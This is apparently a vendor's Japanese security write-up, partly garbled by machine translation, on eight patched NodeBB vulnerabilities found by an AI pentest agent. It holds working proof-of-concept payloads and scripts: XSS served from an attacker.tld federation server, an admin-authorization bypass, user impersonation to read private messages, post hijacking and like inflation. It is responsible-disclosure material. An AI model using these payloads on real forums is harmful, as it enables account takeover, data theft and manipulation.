Aikido

6時間でNodeBBの重大度の高い脆弱性を8件発見

執筆者
Jorian Woltjer

要約

  • NodeBB 4.14.0 以前のバージョンには、複数の重大な脆弱性が含まれています
  • 脆弱性を解消するには、新しいバージョンにアップグレードしてください
  • Aikido 脆弱性のあるインスタンスを自動的に検出します

ペンテストを進める中で、NodeJSを基盤とするフォーラムソフトウェア「NodeBB」に対してホワイトボックス評価を実施しました。その結果、NodeBBのデフォルト設定のインスタンスではすべて悪用可能な、重大度の高い脆弱性が8件発見されました。これにはクロスサイトスクリプティング(XSS)が含まれており、そのうち2件は、AIエージェントが自ら設定する必要のあるカスタムフェデレーションサーバーとのやり取りを必要とします。また、別の脆弱性はテンプレートインジェクションによるもので、NodeBBのほぼすべての入力に影響を及ぼします。

これらの問題とは別に、本来公開されるべきではないさまざまなデータを乗っ取り、読み取るための巧妙な認証バイパス手法も存在していました。興味深い技術的な詳細については、以下で詳しく説明しています。

こうした自律型ペネトレーションテストの興味深い点は、わずか数時間でテストを完了できることです。エージェントがアイデアを考案し、コードを追跡し、実際のアプリケーションを用いて徹底的なテストを行い、具体的な発見結果を報告しました。人間が主導するペネトレーションテストでは、作業を容易に拡大できないため、多くの場合、はるかに長い時間がかかります。

脆弱性を発見した後、私たちは直ちにNodeBBのメンテナンス担当者に報告を送りました。担当者は非常に迅速に対応し、直ちに修正作業に着手しました。これらの問題は7月上旬に修正されました。

ここでは、XSSを皮切りに、これらの脆弱性の技術的な詳細について解説していきます。

カスタムフェデレーションサーバープロファイルアイコンにおけるクロスサイトスクリプティング

これは、悪意のあるXSSペイロードを返すためにカスタムサーバー全体をセットアップする必要がある点で、一般的な単純なリフレクテッドXSSインジェクションとはかけ離れています。とはいえ、私たちが採用しているエージェントモデルはコーディングに長けており、間接参照を難なく解析し、あらゆる発見事項を検証するためのカスタムサーバーを容易に構築することができます。

すべてはここから始まります helpers.common.js、これにはかなり多くの、懸念材料となるHTMLの連結が含まれています。ここで注目するのは以下の部分です:

function buildMetaTag(tag) {
  const name = tag.name ? 'name="' + tag.name + '" ' : '';
  const property = tag.property ? 'property="' + tag.property + '" ' : '';
  const content = tag.content ? 'content="' + tag.content.replace(/\n/g, ' ') + '" ' : '';

  return '<meta ' + name + property + content + '/>\n\t';
}

~において header.tpl, それぞれ メタタグ アイテムは上記の関数を使用してレンダリングされます:

{{{each metaTags}}}{function.buildMetaTag}{{{end}}}

ユーザーデータは res.locals ここから直接:

if (userData.picture) {
  res.locals.metaTags.push(
    {
      property: 'og:image',
      content: userData.picture,
      noEscape: true,
    },
    {
      property: 'og:image:url',
      content: userData.picture,
      noEscape: true,
    }
  );
}

一方、次のような他のプロパティについては userData.fullname は、変換によって事前にエスケープ処理されます " 文字を "、もう一方の物件 userData.picture ~ではない(参照: accounts/helpers.js). のURLは .画像 これはユーザーがアップロードしたファイルであり、通常は次のような安全な文字列を指しています:
/assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png

したがって、たとえこの値が、 フルネーム, どのように制御すれば、次のような悪意のある文字列を含んだ出力を生成できるでしょうか ">?

ここでのポイントは、フェデレーテッド・プロファイルを扱う際、このURLを任意に設定できるという点です。ここでいうフェデレーションとは、独自のユーザーやトピックを持つ他のインスタンスからなる分散型ネットワークとやり取りを行うことを指します。データは実質的に1対1でコピーされるため、HTMLの引用符構文を回避したURLを使って悪意のあるデータを返すことができれば、攻撃に成功することになります。

次のようなリクエストに応答するカスタムフェデレーションサーバーを作成する必要があります。 /.well-known/webfinger XSSユーザーを参照して、XSSペイロードを icon.url そこ:

/.well-known/webfinger?resource=acct:xss@attacker.tld:

{
  "links": [
    {
      "href": "https://attacker.tld/ap/actor/xss",
      "rel": "self",
      "type": "application/activity+json"
    }
  ],
  "subject": "acct:xss@attacker.tld"
}

/ap/actor/xss:

{
  "@context": [
    "https://www.w3.org/ns/activitystreams",
    "https://w3id.org/security/v1"
  ],
  "icon": {
    "mediaType": "image/jpeg",
    "type": "Image",
    "url": "\"><img src onerror=\"alert(origin)\">"
  },
  "id": "https://attacker.tld/ap/actor/xss",
  "inbox": "https://attacker.tld/ap/inbox/xss",
  "preferredUsername": "xss",
  "publicKey": {
    "id": "https://attacker.tld/ap/actor/xss#main-key",
    "owner": "https://attacker.tld/ap/actor/xss",
    "publicKeyPem": "dummy"
  },
  "type": "Person"
}

このサーバーは attacker.tld、被害者がする必要があるのは、その悪意のあるドメイン上のユーザーを検索するか、そのドメインに直接リンクするページにアクセスするだけである:

https://nodebb.local/user/xss@attacker.tld

バックエンドは取得します attacker.tld ~のために XSS ユーザーは /.well-known/webfinger, これは以下を参照しています /ap/actor/xss. これが取得され、XSSペイロードが返され、それが直接 <meta> タグ。これを使って "><img> ペイロードにより、HTMLの制限を突破して、 alert(origin) JavaScript を使用したポップアップ:

nodeBBのlocalhost用のポップアップが、Cloudflareの「サービス停止中」ページに表示される

この問題は、フェデレーテッドソースからの情報に対してもエスケープ処理を行うことで修正されました(4c4bf76)。

フェデレーションエラーの管理画面におけるクロスサイトスクリプティング

フェデレーション関連の話題を続けますが、管理者のエラーログに新たな脆弱性 これらのログを閲覧できるのは管理者だけですが、認証されていない攻撃者でもペイロードを書き込むことができる点に注意が必要です。この脆弱性を悪用するには、前回のXSSよりもさらに複雑な攻撃環境の構築が必要でしたが、エージェントたちはそれでもその仕組みを突き止めました。

シンクはシンプルな作りです。内部は errors.tpl {./id} 変数がHTMLに埋め込まれています。

<code>{./id}</code>

ほとんどのテンプレート設定では問題にはなりませんが、NodeBBでは、Benchpressの自動エスケープ機能が、ここでは恒等関数に置き換えることで明示的に無効化されています

        __escape: identity,
    };

    function identity(str) {
        return str;
    }

NodeBBでは、テンプレートに渡される変数を手動でエスケープする必要があります。この処理が忘れられがちな箇所の一つが、 id フェデレーションエラーについて。では、どうすればそのようなエラーを発生させられるのか、と疑問に思うかもしれません。もちろん、別のカスタムフェデレーションサーバーを作成するのですが、今回は少し不具合のあるものにします。

まずは以前と同様にサーバーを設定しますが、重要なのは、メッセージの署名用に公開鍵を生成し、それを提供することになります。

/俳優:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "id": "https://attacker.tld/actor",
  "type": "Person",
  "preferredUsername": "evil",
  "inbox": "https://attacker.tld/inbox",
  "publicKey": {
    "id": "https://attacker.tld/actor#main-key",
    "owner": "https://attacker.tld/actor",
    "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\n2wIDAQAB\n-----END PUBLIC KEY-----\n"
  }
}

次に、 /.well-known/webfinger 以前と同様にエンドポイントを実行すると、任意のアカウントが返されます:

/.well-known/webfinger?resource=acct%3Aevil%40attacker.tld:

{
  "subject": "acct:evil@attacker.tld",
  "links": [
    {
      "rel": "self",
      "type": "application/activity+json",
      "href": "https://attacker.tld/actor"
    }
  ]
}

これで、 attacker.tld 既知のキーを使用すれば、 /受信箱 パス。それぞれ タイプ 送信するデータは、 inbox.js. ミドルウェアは、以下を使用して署名を検証します。 ActivityPub.verify、これは基本的にリクエストから一連の属性を取得し、それらがフェデレーションサーバーの公開鍵で署名されていることを検証するものです。独自のサーバーを構築したので、その部分は今では簡単です。

エラーを発生させるには、最初のものを 受信トレイの更新:

inbox.update = async (req) => {
  const { actor, object } = req.body;
  const isPublic = publiclyAddressed([...(object.to || []), ...(object.cc || [])]);

  // Origin checking
  const actorHostname = new URL(actor).hostname;
  const objectHostname = new URL(object.id).hostname;
  if (actorHostname !== objectHostname) {
    throw new Error('[[error:activitypub.origin-mismatch]]');
  }

[[error:activitypub.origin-mismatch]] 次のような場合に発生します。 俳優 そして object.id 当社の依頼内容と一致しません。それは簡単に偽造できます。
重要なのは、 id 提供されるデータはエラー情報とともに保存され、これまで学んだように、管理パネル上で安全でないHTMLとして表示されてしまいます。そのため、これを次のようなXSSペイロードに設定します。 <img src onerror=alert(origin)>.

最終的なスクリプトは次のようになります:

# Craft payload
payload = {
    '@context': 'https://www.w3.org/ns/activitystreams',
    'id': '<img src onerror=alert(origin)>',
    'type': 'Update',
    'actor': f'https://attacker.tld/actor',
    'object': {
        # Different origin than actor to trigger an error path
        'id': 'https://nodebb.local/post/1',
        'type': 'Note'
    },
    'to': ['https://www.w3.org/ns/activitystreams#Public']
}

# Build signature
key_id = f'https://attacker.tld/actor#main-key'
inbox_url = 'https://nodebb.local/inbox'
u = urlparse(inbox_url)
date = datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
signed = f'(request-target): post {u.path}\nhost: {u.netloc}\ndate: {date}'
sig = base64.b64encode(priv.sign(signed.encode(), padding.PKCS1v15(), hashes.SHA256())).decode()
headers = {
    'Host': u.netloc,
    'Date': date,
    'Signature': f'keyId="{key_id}",headers="(request-target) host date",signature="{sig}",algorithm="hs2019"',
    'Accept': 'application/activity+json',
    'Content-Type': 'application/ld+json;profile="https://www.w3.org/ns/activitystreams"',
}

# Send request
r = requests.post(inbox_url, headers=headers, data=json.dumps(payload), timeout=30, verify=False)
print('Status:', r.status_code)
print(r.text[:200])

このペイロードを送信した後、署名を検証するために攻撃者のカスタムサーバーからデータを取得し、続いて参照されたアクターを取得するはずです。なぜなら、 俳優 そして object.id ペイロードの内容が異なる場合、エラーが発生し、管理パネルの「フェデレーションエラー」ページ内にエントリが作成されます。

管理者がこのページにアクセスしてエラーの有無を確認しようとすると、JavaScriptのアラートボックスが表示されます。これは、悪意のある <img> タグは、 <code>:

この状態になると、JavaScriptによって管理者に任意の操作を行わせることができるため、攻撃者はNodeBBインスタンス全体を乗っ取ることが可能になります。

この問題は、「フェデレーションエラー」に表示されるすべてのフィールドにエスケープ処理を施すことで修正されました(16bda6b)。

翻訳テンプレートへのインジェクションによるクロスサイトスクリプティング

最後に脆弱性 、また興味深いものでした。これはテンプレートのレンダリング方法に関連しています。本文を返す際、NodeBBは基本的に以下の2つのステップを経ます(これは render.js):

  1. 入力変数を含むベンチプレスのテンプレートをレンダリングする(構文: {...})
  2. 翻訳キーを解釈する(構文: [[...]])
function renderContent(render, tpl, req, res, options) {
  return new Promise((resolve, reject) => {
    render.call(res, tpl, options, async (err, str) => {
      if (err) reject(err);
      else resolve(await translate(str, getLang(req, res)));
    });
  });
}

前回の脆弱性 で、Benchpressにどのような問題が生じ得るか脆弱性 確認しました。ここでは、 trans() 関数であり、これが極めて重要な点として発生する その後 入力内容がテンプレートに反映されます。

脆弱性 ここから始まっています。というのも、私たちの入力はすでに str 翻訳処理が行われる頃には、もし同じものを記述できるなら [[...]] 構文であれば、そのように解釈されるでしょう。 [ または ] は、によって特殊文字として扱われません escapeCharMap 内部 utils.common.js、~のみです &<>"'`= です。

実のところ、 すべてのページ URLを <meta property="og:url"> プロパティ。このプロパティに翻訳キーを注入することで、結果を確認できます。翻訳キーは名前空間ごとに保存されます。例えば、 topic.json を含む "flag-user": "このユーザーにフラグを立てる". これを参照すると:

https://nodebb.local/test[[topic:flag-user]]

<meta property="og:url" content="https://nodebb.local/testFlag this user" />

正常に解釈されました。メッセージによっては、より複雑で、以下の内容を含むものもあります。 プレースホルダー を用いて %1 そして %2、これはカンマ区切りの引数で制御できます。例えば:

"merged-message": "This topic has been merged into <a href=\"%1\">%2</a>"

翻訳文には以下の内容が含まれているため、何か興味深いことが起こりそうです。 " (を定義するには、 href)、一方、それを挿入する対象はテキストではなく、メタデータである content= 属性。その値も二重引用符で囲みます。

https://nodebb.local/test[[topic:merged-message,A,B]]

<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="A">B</a>" />

構文の強調表示を見ると、かつては href=, は現在、次の作品の締めくくりの引用文となっています。 content=。つまり、私たちの A、現在は属性定義コンテキストにあるため、このタグに任意の属性を追加できます!

しかし、単に A を用いて onerror=alert(), そこには悲しい光景が広がっている:

<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="onerror&#x3D;alert()">B</a>" />

この属性は引き継がれているように見えますが、等号(=) は、次のように変わりました &#x3D;. 覚えてる? あの escapeCharMap, 等号は特殊文字として扱われるため、出力時には常にHTMLエスケープされます。そのため、 このインジェクションをXSSに変えるための属性。

とはいえ、希望が完全に失われたわけではありません。というのも、私たちが使用したテンプレートは、 結合されたメッセージ, 最初の引数(A) そのまま href= これの <a> タグ。使用方法: javascript: URIの場合でも、クリック時に任意のJavaScriptを実行することは依然として可能です。属性の最初のエスケープ処理を行った後、別のテンプレートタグを追加するだけで済みます:

https://nodebb.local/test[[topic:merged-message,A,B]][[topic:merged-message,javascript:alert(origin),CLICK%20ME]]

<meta property="og:url" content="http://4.245.3.4:4567/testThis topic has been merged into <a href="A">B</a>This topic has been merged into <a href="alert(origin)">CLICK&#37;20ME</a>" />

見た目としては、ページの上部に次のようなテキストが記載されたヘッダーが表示されるようになりました。 ここをクリック. クリックすると、JavaScriptが実行され、 alert(origin) 次のように表示されます:

先ほど、テストが最も容易なリフレクションであるURL自体について、PoCを実証しました。しかし、これはNodeBBによって生成されるあらゆる出力で機能します。URL内では、次のようなURLエンコードされた文字に限定されます。 %20. 管理者専用 /flags?quick= エンドポイント、その値は 手っ取り早く これも反映されますが、URLデコードされています!

PoCを仕上げるにあたり、公式アイコンのように見える絵文字を使用し、「⚠️ 更新が必要です」というメッセージを表示してユーザーに更新を促すことで、より現実味のあるものに仕上げることができます:

https://nodebb.local/flags?quick=]][[topic:merged-message,javascript:alert(origin),%E2%9A%A0%EF%B8%8FUpdate%20required

<span class="filter-label">filter-quick-This topic has been merged into <a href="javascript:alert(origin)">⚠️Update required</a></span>

繰り返しになりますが、このボタンをクリックすると、任意のJavaScriptが実行されてしまいます。これは、エージェントがこの問題を報告するために使用した最初の概念実証(PoC)でした。

ペイロードはNodeBBの投稿内に保存することも可能で、他のユーザーと簡単に共有できます。根本的な問題は、レンダリングされたすべてのコンテンツが翻訳処理を経る過程で、ユーザー入力によって同じ構文が記述されてしまう点にあります。

この問題の修正は、より複雑でした。これまで見てきたように、これは特定の箇所にあるバグというよりは、設計上の問題と言えます。なぜなら、翻訳は常にテンプレートのレンダリング後に実行され、テンプレート内では翻訳用文字の使用が許可されているからです。

単純な対処法としては、HTMLエスケープを行うことです [ そして ] 文字を、翻訳として解釈されないようにするためです。しかし、実際には一部の機能やプラグインでは require テンプレート変数から翻訳シーケンスを生成できるようになる。これは互換性を損なう変更となる。

暫定的な修正として、NodeBB は、ユーザー入力が反映されるすべての箇所で、手動でエスケープ処理を試みました。 translator.escape(). ただし、これは完全ではないため、彼らは次のように追加した。 大変な作業 翻訳システムをリファクタリングして、それが できる 自動エスケープされ、この互換性破りの変更に適切に対応できるよう機能やプラグインを修正してください。これはバージョン 4.14.0 で実装されました。

さらなる防御策として、翻訳関数から出力されるHTMLは これも今、サニタイズされました, そのため、たとえ攻撃者がテキストを制御していたとしても、次のように書き込むことはできない javascript: hrefs。

カスタムホームページを使用して、管理者承認ミドルウェアをバイパスする

これはシンプルですが、巧妙な仕組みです。NodeBBのミドルウェアを調べてみると、への認証処理を担当しているこのスニペットが見つかります。 /admin 内部のルート middleware/admin.js:

middleware.checkPrivileges = helpers.try(async (req, res, next) => {
  // Kick out guests, obviously
  if (req.uid <= 0) {
    return controllers.helpers.notAllowed(req, res);
  }

  // Otherwise, check for privilege based on page (if not in mapping, deny access)
  const path = req.path.replace(/^(\/api)?(\/v3)?\/admin\/?/g, '');
  if (path) {
    const privilege = privileges.admin.resolve(path);
    if (!await privileges.admin.can(privilege, req.uid)) {
      return controllers.helpers.notAllowed(req, res);
    }
  } else {
    // If accessing /admin, check for any valid admin privs
    const privilegeSet = await privileges.admin.get(req.uid);
    if (!Object.values(privilegeSet).some(Boolean)) {
      return controllers.helpers.notAllowed(req, res);
    }
  }

一見したところ、すべて正しいようです。もし privileged.admin.get() 何も返さない場合、アクセスは許可されません。重要な点は、このミドルウェアが /admin ルート でのカスタムホームページのリライト処理 routes/index.js:

router.all(`(/+api/admin|/+api/admin/*?${mounts.admin !== 'admin' ? `|/+api/${mounts.admin}|/+api/${mounts.admin}/*?` : ''})`, middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges);
router.all(`(/+admin|/+admin/*?${mounts.admin !== 'admin' ? `|/+${mounts.admin}|/+${mounts.admin}/*?` : ''})`, middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges);

// handle custom homepage routes
router.use('/', controllers.home.rewrite);

機能として、どのユーザーも自分のホームページが別のURLに書き換えられるように設定できます。これは、以下の時点でトリガーされる別のミドルウェアによって実装されています。 /. 内部的には、次のように設定されます req.url 設定された値を反映するには:

async function rewrite(req, res, next) {  if (req.path !== '/' && req.path !== '/api/' && req.path !== '/api') {
    return next();
  }
  ...
  route = await getUserHomeRoute(req.uid, next);  parsedUrl = new URL(route, 'http://localhost.com');  const pathname = parsedUrl.pathname.replace(/^\/+/, '');  req.url = req.path + (!req.path.endsWith('/') ? '/' : '') + pathname;  ...  next();


next()
実際のルートを引き続き検索するよう求められますが、現在は その後 管理用パスの確認はすでに完了しています。

つまり、カスタムホームページを /admin, 一般会員であっても、管理ダッシュボードが表示されます。管理者権限は必要ありません。

私たちを「妨げている」唯一のものは、設定を保存しようとした際に、実際に設定をサーバーに送信する前に、設定された値を取得するクライアント側のコードです:

$.get(config.relative_path + '/' + settings.homePageCustom, function () {
  saveSettings(settings);
}).fail(function () {
  alerts.error('[[error:invalid-home-page-route]]');
});

このチェックは、直接 PUTapi:id/settings リクエストするか、ブラウザのブレークポイントを使用してチェックをスキップし、呼び出しを行う saveSettings() 直接。
これを設定した後、 admin/advanced/cache, 例えば、次のようにもう一度読み込むことができます。 / ページを開くと、管理者向けの内部情報が多数表示されます:

APIでさえも、以下を通じてアクセス可能です api, しかし、実際に使用するほとんどのAPIは 編集 データが通過する api. これらは「書き込み」ルートであり、各ルートのハンドラー内で追加の権限チェックが行われています。したがって、これらのルートはこの攻撃の影響を受けません。
とはいえ、その結果、データが相当程度漏洩・改ざんされることになります:

  • GETapi: 存在する場合、すべてのユーザーのCSVデータをエクスポートします。列の内容は、前回の管理者によるエクスポートで選択された内容によって異なります。
  • GETapi: すべてのエラーログを確認する
  • POSTapi: サイドバーのリストに「リモート」カテゴリを追加する
  • POSTapi: サイトのロゴを更新する

この問題は、リライト処理の後に権限チェックが行われるようミドルウェアの実行順序を変更することで修正されました(9885f94)。

非公開メッセージを読み取るためのユーザーIDのなりすまし

他のソーシャルネットワークと連携するため、NodeBBでは以下を実装しています ActivityPub、 これは、インスタンス間でユーザーやコンテンツを共有するためのプロトコルです。各ユーザーに、アクションに署名するための公開鍵を付与することで、暗号的に安全性が確保されています。リクエストでは、 署名: ヘッダーには、次のような属性が追加されます。 keyId そして 署名.

会社情報 ActivityPub.verify この関数はこれらを正しく検証します:

ActivityPub.verify = async (req) => {
  ...
  let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split(',').reduce((memo, cur) => {
    const split = cur.split('="');
    const key = split.shift();
    const value = split.join('="');
    memo[key] = value.slice(0, -1);
    return memo;
  }, {});
  const signed_string = headers.split(' ').reduce((memo, cur) => {
     ...  }, []).join('\n');
  const publicKeyPem = await ActivityPub.fetchPublicKey(keyId);

  return await verifyAsync('sha256', Buffer.from(signed_string), publicKeyPem, Buffer.from(signature, 'base64'));

この関数がどこで使用されているかを確認すると、その使用箇所は activitypub.js ここにあるミドルウェア:

middleware.verify = async function (req, res, next) {
  // Verifies the HTTP Signature if present (required for POST)
  const passthrough = [/\/actor/, /\/uid\/\d+/];
  if (req.method === 'GET' && passthrough.some(regex => regex.test(req.path))) {
    return next();
  }

  if (req.method === 'POST') {
    const verified = await activitypub.verify(req);    if (!verified) {
      return res.sendStatus(400);
    }
  }

  if (req.headers.signature) {
    const keyId = req.headers.signature.split(',').filter(line => line.startsWith('keyId="'));
    if (keyId.length) {
      req.uid = keyId.shift().slice(7, -1).replace(/#.*$/, '');

興味深いことに、これは activitypub.verify(req) もし req.method === 'POST'! 何らかの理由で、GETリクエストの署名は検証されません。この状態でどのエンドポイントにアクセスできるのでしょうか?

実際にこれを使用しているエンドポイントは、実際には1つしかありません。 req.uid 認証のために、そしてそれは GET /message/:mid. において middleware/assert.js そこには次のように書かれています:

!(await messaging.canViewMessage(req.params.mid, roomId || req.params.roomId, req.uid))

このエンドポイントは、 req.params.mid:

Actors.message = async function (req, res) {
  ...
  const messageObj = await messaging.getMessageFields(req.params.mid, []);
  messageObj.content = await messaging.parse(messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false);
  const payload = await activitypub.mocks.notes.private({ messageObj });
  res.status(200).json(payload);
};

これで全容が明らかになりました。その 署名: ヘッダーはPOSTリクエストに対してのみ検証されるため、 GET /message/:mid endpoint は、 keyId= 属性。これを利用すれば、誰にでもなりすますことができ、増分メッセージIDを1つずつ漏洩させることで、プライベートチャットを完全に乗っ取ることができます。

# Fetch all users
users = requests.get(f'{HOST}/api/users', timeout=10).json().get('users', [])
users = [(u['uid'], u.get('username', '?')) for u in users]
print(f'Found {len(users)} users')

# Fetch all message IDs for each user
for mid in tqdm(range(1, 80)):
    for uid, name in users:
        headers = {
            'Accept': 'application/activity+json',
            'Signature': f'keyId="{uid}"',
        }
        r = requests.get(f'{HOST}/message/{mid}', headers=headers, timeout=10)
        if r.ok:
            j = r.json()
            content = j.get("content", "")[:80].strip()
            tqdm.write(f'Impersonating {name} ({uid}) -> message {mid}: {content}')

この問題は修正されました(f6b5cd8) 単に設定するだけで req.uid あるコードブランチにおいて、 activitypub.verify() Signatureヘッダーの検証はすでに完了しています。

pidの一括割り当てによる投稿の乗っ取り

これだけのJSONボディがあると、必然的に「マスアサインメント」関連のバグが発生する可能性が高いので、エージェントは次にその点を調査しました。この種のバグに馴染みのない方のために説明すると、これはリクエストに内部フィールドを追加し、Webアプリケーションが意図していないにもかかわらず、それらのフィールドを上書きしてしまうというものです。
これは、リクエストボディ全体が解析されてデータベースにそのまま投入される場合に、よく発生します。このコードベースには、同様のパターンは見られますか?

ここ、 POSTapi, エンドポイントには次のように記載されています:

Topics.create = async (req, res) => {
  const id = await lockPosting(req, '[[error:already-posting]]');
  try {
    const payload = await api.topics.create(req, req.body);

まさに私たちが求めている通りの動作をし、 req.body ~へ topicsAPI.create(). その実装では、その後、以下を呼び出します。 Posts.create 与えられたものを信頼する data.pid:

const pid = data.pid || await db.incrObjectField('global', 'nextPid');
let postData = { pid, uid, tid, content, sourceContent, timestamp };

会社情報 pid このプロパティは投稿IDであり、一意であるため、この番号を使ってどの投稿でも検索できます。なお、これは トピック, というのも、1つのトピックには複数の投稿(返信)が寄せられることがあるからです。
どのNodeBBでも、最初の投稿は常に管理者による「NodeBBへようこそ!」という投稿です:

NodeBBのフォーラムです。「admin」という名前のユーザーから、「新しいNodeBBフォーラムへようこそ」という歓迎メッセージが表示されており、さらにNodeBBの定型文も追加されています。

そのIDは常に 1、そして新しい投稿はそこから順次追加されていきます。もし、 新着 その投稿には、さらに pid: 1? やってみよう!

POST /api/v3/topics HTTP/1.1
Host: nodebb.local
x-csrf-token: 77a...65b
Cookie: express.sid=s%3A...
Content-Length: 133
Content-Type: application/json

{
    "title": "title",
    "content": "OVERWRITTEN BY ATTACKER",
    "cid": 2,
    "tags": [],
    "thumbs": [],
    "timestamp": 0,
    "pid": 1
}

ウェルカム投稿を改めて確認すると:

ウェルカムページの最初のコメントは、ユーザー「ペンテスト」によって投稿されました。

この投稿を乗っ取りました!でも、内容はまだ更新されていないようです。ただ、今は私たちが管理権を持っているので、さっと編集して再度保存すれば、実際に内容を更新できます:

ウェルカムページでは、ウェルカムメッセージが「OVERWRITTEN BY ATTACKER」に変更されました。

URLは依然として同じままであり、この投稿に再びアクセスした人は誰でも、新しい攻撃者によるコンテンツを目にすることになります。これと類似アカウントを組み合わせることで、チュートリアル内の悪意のあるコマンドをコピーするように変更するなど、一部のコンテンツを改ざんする上で非常に強力な手段となり得ます。

この問題は修正されました(7f08fb9) を削除して pid リクエスト本文からこのプロパティを取得するため、内部フィールドを上書きすることはできなくなりました。

認証なしで全カテゴリを読む

This might be the easiest vulnerability in this post. It can be summarized as one sentence: "/category/{cid}/outbox is missing authorization when ActivityPub accept header is set".

本当にこれほど単純なことです。ルートは /category/:cid/outbox は、以下の関数によって処理されます。この関数は認証チェックを行いませんが、特定のカテゴリに属するすべてのトピック(非公開のトピックも含む)を、インクリメンタルな cid.

Controller.getCategoryOutbox = async (req, res) => {
  const { cid } = req.params;
  const { page } = req.query;
  const set = `cid:${cid}:pids`;
  const count = await db.sortedSetCard(set);
  const collection = await activitypub.helpers.generateCollection({
    set,
    count,
    page,
    perPage: 20,
    url: `${nconf.get('url')}/category/${cid}/outbox`,
  });
	...
  res.status(200).json({
    '@context': 'https://www.w3.org/ns/activitystreams',
    ...collection,
  });
};

ActivityPub をトリガーするために、Accept: application/activity+json ヘッダーを指定して /category/2/outbox へ単純な GET リクエストを送信すると、そのカテゴリ ID 以下のすべての投稿がフィルタリングされずに一覧として返されます。以下は、管理者のみがアクセスできる、私たちが作成した非公開カテゴリの例です:

認証を行わなければ、以下のコンテンツを取得することができます:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "OrderedCollection",
  "totalItems": 2,
  "orderedItems": [
    {
      "object": {
        "object": {
          ...
          "name": "secret content",
          "url": "https://nodebb.local/post/2",
          "content": "<p>SUPER SECRET CONTENT</p>\n"
    }}},
    {
      "object": {
        "object": {
          ...
          "inReplyTo": "http://4.245.3.4:4567/post/2",
          "name": "secret content",
          "url": "https://nodebb.local/post/3",
          "content": "<p>replies too!</p>\n"
        }

この問題は修正されました(8e98325) に トピック:読む 送信トコルートに対する権限チェック。

監視の行き届いていない主体による「高評価」のインフレ

この最後の機能はどちらかといえば遊び心のあるものですが、スパムや不正操作に悪用される可能性もあります。あるエージェントが、投稿に無限に「いいね」をつける方法を見つけてしまったのです! (「無限」といえば……こちらをご覧ください Aikido Infinite 継続的ペネトレーションテスト! ;) )

投稿に「いいね」(ActivityPubでの「Like」)をつける方法は2つあります:

  1. 直接経由で /受信箱 または /uid/:uid/inbox, 署名キーID「keyId」で検証済み
  2. 以下の方法により、「Announce」メッセージに埋め込まれました /category/:cid/inbox

そのようなメッセージでは、次のように指定します。 俳優 これは、そのアクションを実行した人物を表します。ミドルウェアは、Signatureヘッダーの keyId、具体的には req.body.actor フィールド:

middleware.assertPayload = helpers.try(async function (req, res, next) {
  ...
  let { actor } = req.body;

  const { hostname } = new URL(actor);
  const allowed = await activitypub.instances.isAllowed(hostname);

  await activitypub.actors.assert(actor);
  let compare = await db.getObjectsFields([
    `userRemote:${actor}:keys`, `categoryRemote:${actor}:keys`,
  ], ['id']);
  compare = compare.reduce(...).replace(/#[\w-]+$/, '');

  if (compare !== keyId) {
    return res.sendStatus(403);
  }

これは最初のエンドポイントでは非常にうまく機能します。というのも、そのエンドポイントは 俳優 プロパティの検証が必要です。以下にメッセージの例を示します:

{
  "id": "https://nodebb.local/uid/42#activity/like/3",
  "type": "Like",
  "actor": "https://nodebb.local/uid/42",
  "to": ["https://www.w3.org/ns/activitystreams#Public"],
  "cc": ["https://nodebb.local/uid/7"],
  "object": "https://nodebb.local/post/3"
}

ただし、「Announce」メッセージの形式は異なり、いいねの数は 俳優 は、内部に埋め込まれており、 オブジェクト:

{
  "id": "https://nodebb.local/post/3#activity/announce/1717234567890",
  "type": "Announce",
  "actor": "https://nodebb.local/category/1",
  "to": ["https://nodebb.local/category/1/followers"],
  "cc": [
    "https://nodebb.local/uid/42",
    "https://www.w3.org/ns/activitystreams#Public"
  ],
  "object": {
    "id": "https://nodebb.local/uid/42#activity/like/3",
    "type": "Like",
    "actor": "https://nodebb.local/uid/42",
    "to": ["https://www.w3.org/ns/activitystreams#Public"],
    "cc": ["https://nodebb.local/uid/7"],
    "object": "https://nodebb.local/post/3"
  }
}

どちらも同じものを使用しているため、 assertPayload ミドルウェア、「Announce」形式を用いた2つ目の方法 未確認です。この 俳優 新しいユーザーとして機能する、任意のランダムで一意な文字列であれば何でも構いません。ここで、 「いいね!」 オブジェクトの型が認識され、直接使用されます object.actor ~へ posts.upvote():

case object.type === 'Like': {
  const id = object.object.id || object.object;
  const { id: localId } = await activitypub.helpers.resolveLocalId(id);
  const exists = await posts.exists(localId || id);
  if (exists) {
    try {
      await activitypub.actors.assert(object.actor);
      const result = await posts.upvote(localId || id, object.actor);

攻撃者は、このようなリクエストを繰り返し送信することで、投稿への「いいね」数を着実に増やし、1分間に数千件もの「いいね」を集めることで、その投稿の信頼性を完全に水増しすることが可能です。

POST_ID = 1  # Target post
payload = {
    'id': str(uuid.uuid4()),
    'type': 'Announce',
    'actor': 'https://nodebb.local/uid/999',
    'object': {
        'id': f'https://nodebb.local/object/{uuid.uuid4()}',
        'type': 'Like',
        'actor': f'https://nodebb.local/fake-{uuid.uuid4()}',
        'object': f'https://nodebb.local/post/{POST_ID}'
    }
}
headers = {'Content-Type': 'application/activity+json',
           'Signature': 'keyId=""'}

r = requests.post('https://nodebb.local/category/1/inbox',
                  headers=headers, json=payload)

